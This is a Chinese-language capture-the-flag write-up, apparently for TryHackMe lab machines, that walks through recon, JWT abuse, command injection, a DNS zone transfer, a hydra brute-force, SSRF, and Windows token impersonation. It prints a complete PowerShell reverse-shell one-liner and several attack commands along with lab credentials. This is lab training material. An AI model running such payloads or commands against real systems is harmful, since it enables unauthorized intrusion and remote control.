0%

  • 扫描打点

    • 80

      扫不出什么东西

    • 8080

      类似论坛之类的东西,可以发表或修改

      找到一些可能有用的:

      找到个操作文档之类的:

      https://flask-jwt-extended.readthedocs.io/en/stable/options/

      再扫一下:

      大概看了一下,users 存了用户名和信息

      registration 要改成 POST ,根据提示发送 usernamepassword 来注册用户

      这里卡了一会,注意需要手动加上 Content-type: application/x-www-form-urlencoded 这是表单默认的提交数据格式,否则识别不到

      然后用同样的办法进 /login

      /secret 的话可能是缺 cookie ,但不知道是我的还是要patrick的

      在文档里面能找到 cookie 的格式

      然后收不到返回值,可能是格式不对,或者要用patrick的?

      bp全责,用hackbar能做,但要放到新建的 header 而非 cookies 里面,感觉怪怪的

      拿到 secret:commandexecutionissecret

      呃呃,然后被提醒有个 /run ,感觉要换字典了

      根据提示的数据格式以及 secret_key 的返回值,应该是拿 json 传的,但bp又发力了接收不到,用 curl

      1
      curl -X POST "http://192.168.129.5:8080/run" -H "Content-Type: application/json" -d '{"url":"127.0.0.1:80","secret_key": "commandexecutionissecret"}'

      改一改 url 不难发现其被拼接在 curl 语句后面,那么考虑截断来做到命令执行

  • getshell

    先搜集下信息

    可以注意到 flask 的源码

    美化一下源码可以找到明文的 jwt_secret_key:NOreasonableDOUBTthisPASSWORDisGOOD

    密码复用登 ssh

  • linux 提权

    可能是前面有点麻烦,sudo -l 直接提了

  • 扫描打点

    • 8080

      一个控制台:

      有登录口,重置密码不能用

    • 11025

      仍然没什么东西

  • 子域名

    本来想用 wfuzz 来做,但太慢了,看wp学到用 dig ,直接秒出了

    1
    dig @10.10.171.13 ironcorp.me axfr

    • internal

      看起来不在内网访问不到的样子

    • admin

      同样是在 11025 端口找到了登录入口:

      hydra 爆一下:

      1
      hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 11025 admin.ironcorp.me http-get

      账密 admin:password123

      进去后有个搜索,试了下不是文件包含,但能 ssrf

      借助这个可以访问到刚刚访问不到的 internal

      试试rce,发现后接分号会导致命令完整的输回来,后接 & 会自动忽略其之后的部分,后接 | 时有命令执行

      试图 nc 反弹 shell

      虽然但是,拿了个邮箱:mailto:webmaster@ironcorp.me

      应该拦了一部分,最后用靶机浏览器里面那个 reverse shell generator 生成的 powershell 连上了

      1
      powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ip',port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

      注意传的时候要过两遍 url 编码来避免空格的影响

      桌面找到第一个flag

  • Windows /priv 提权

    找到

    转移到msf里,用 incognito 伪造管理员令牌:

    1
    2
    3
    use incognito
    list_tokens -u
    impersonate_token "WIN-8VMBKF3G815/Admin"

    提为 admin

  • 扫描打点

    • 80

      dirsearch扫出来 composer.json

      拿到一个账号,或者可能是账密?:superhero1/enterprize

      以及 typo3 是一个CMS,其版本号为 9.5

      找不到更多东西了,扫下子域名先:

      1
      wfuzz -u enterprize.thm -H "Host: FUZZ.enterprize.thm" -w /usr/share/wordlists/wfuzz/subdomains-top1million-110000.txt --hw 5

      在十分漫长的扫描后得到 maintest

      。。。thm抽风了,子域名访问不到,搁置一下

      原来是防火墙发力了,滚回来用 attackbox

      扫一扫先, dirsearch 的默认字典扫不全。。。

      • /typo3 是一个登录框

        没找到凭证

      • /fileadmin

      • /typo3conf

        看到确实是 typo3 ,搜了搜正好找到这个扫描器